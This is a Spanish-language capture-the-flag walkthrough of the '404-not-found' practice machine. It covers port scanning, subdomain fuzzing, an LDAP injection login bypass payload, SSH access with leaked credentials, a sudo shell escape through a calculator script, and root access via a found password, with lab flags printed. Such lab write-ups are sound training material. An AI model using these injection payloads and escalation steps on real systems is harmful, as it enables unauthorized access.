CTF 404-not-found Easy
URL Download CTF = https://drive.google.com/file/d/1EF-a2vshKyVlETi33XspsmGeNsqND8JC/view?usp=sharing
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip 404-not-found.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_run.sh 404-not-found.tarInfo:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salirPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 06:12 EDT
Nmap scan report for 404-not-found.hl (172.21.0.2)
Host is up (0.000033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 59:4e:10:e2:31:bf:13:43:c9:69:9e:4f:3f:a2:95:a6 (ECDSA)
|_ 256 fb:dc:ca:6e:f5:d6:5a:41:25:2b:b2:21:f1:71:16:6c (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 404-Not-Found CTF
MAC Address: 02:42:AC:15:00:02 (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 secondsVemos que hay un puerto 80, pero si entramos mediante la URL nos aparecera directamente un dominio llamado 404-not-found.hl, lo añadiremos a nuestro archivo /hosts para que funcione.
nano /etc/hosts
#Dentro del nano
<IP> 404-not-found.hlLo guardamos y ahora si vamos a ver la pagina, por que ya se resolveria correctamente.
URL = http://404-not-found.hl/Vemos mucha informacion pero no es muy util practicamente nada, por lo que veremos si tiene algun subdominio de la siguiente forma.
ffuf (Subdominio)
ffuf -c -w <WORDLIST> -u http://404-not-found.hl -H "Host: FUZZ.404-not-found.hl" -fw 20Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://404-not-found.hl
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.404-not-found.hl
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
info [Status: 200, Size: 2023, Words: 674, Lines: 150, Duration: 3ms]
:: Progress: [20469/20469] :: Job [1/1] :: 4000 req/sec :: Duration: [0:00:08] :: Errors: 0 ::Por lo que vemos encontramos un subdominio llamado info, lo añadiremos en nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> 404-not-found.hl info.404-not-found.hlLo guardamos y nos iremos a la siguiente URL.
URL = http://info.404-not-found.hl/Dentro de este subdominio veremos un panel de login el cual no hace gran cosa, tampoco es inyectable a SQLInjecction, no van las credenciales por defecto, pero si inspeccionamos el codigo vemos lo siguiente.
<!-- I believe this login works with LDAP -->Nos da una pista de que puede ser vulnerable con un Bypass de LDAP.
Bypass LDAP
URL = https://book.hacktricks.xyz/pentesting-web/ldap-injection#login-bypass
Probaremos a bypassear el login de la siguiente forma.
User = admin)(|
Pass = admin)(|Y por lo que vemos accedemos al panel de administrador, si bajamos un poco vemos unas credenciales las cuales probaremos mediante SSH.
SSH
ssh 404-page@<IP>Metemos la contraseña obtenida not-found-page-secret y ya estariamos dentro.
Escalate user 200-ok
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for 404-page on 084fadd2eeb1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User 404-page may run the following commands on 084fadd2eeb1:
(200-ok : 200-ok) /home/404-page/calculator.pyVemos que podemos ejecutar como el usuario 200-ok el script de calculator.py por lo que haremos lo siguiente.
Si ejecutamos ese script vemos que es una calculadora normal, pero si leemos una nota en el siguiente directorio.
cat /var/www/nota.txtInfo:
In the calculator I don't know what the symbol is used for "!" followed by something else, only 200-ok knows.Nos da una pista de que probemos poniendo el simbolo ! por delante y poner algo, por ejemplo ejecutare un ls poniendo el ! por delante.
sudo -u 200-ok /home/404-page/calculator.py
#Dentro del script
!ls -laInfo:
total 36
drwxr-xr-x 1 404-page 404-page 4096 Aug 19 12:30 .
drwxr-xr-x 1 root root 4096 Aug 19 11:21 ..
-rw------- 1 404-page 404-page 170 Aug 19 11:31 .bash_history
-rw-r--r-- 1 404-page 404-page 220 Aug 19 11:19 .bash_logout
-rw-r--r-- 1 404-page 404-page 3771 Aug 19 11:19 .bashrc
drwx------ 2 404-page 404-page 4096 Aug 19 12:30 .cache
-rw-r--r-- 1 404-page 404-page 807 Aug 19 11:19 .profile
-rwx--x--x 1 200-ok 200-ok 784 Aug 19 11:23 calculator.pyVemos que nos deja ejecutar comando con un ! delante, por lo que obtendremos la shell del usuario 200-ok de la siguiente forma.
sudo -u 200-ok /home/404-page/calculator.py
#Dentro del script
!bashY con esto ya seremos el usuario 200-ok, por lo que leeremos la flag.
user.txt
bef4bb318a17abd01158337811750bcfEscalate Privileges
Si leemos el archivo llamado boss.txt veremos lo siguiente.
What is rooteablePuede ser una posible contraseña o algo parecido, por lo que la probaremos con root.
su rootY si metemos esa palabra como contraseña de root (rooteable) veremos que somos root, por lo que leeremos la flag.
root.txt
2424b2a3292e20c6e1ade39ed3e77629Last updated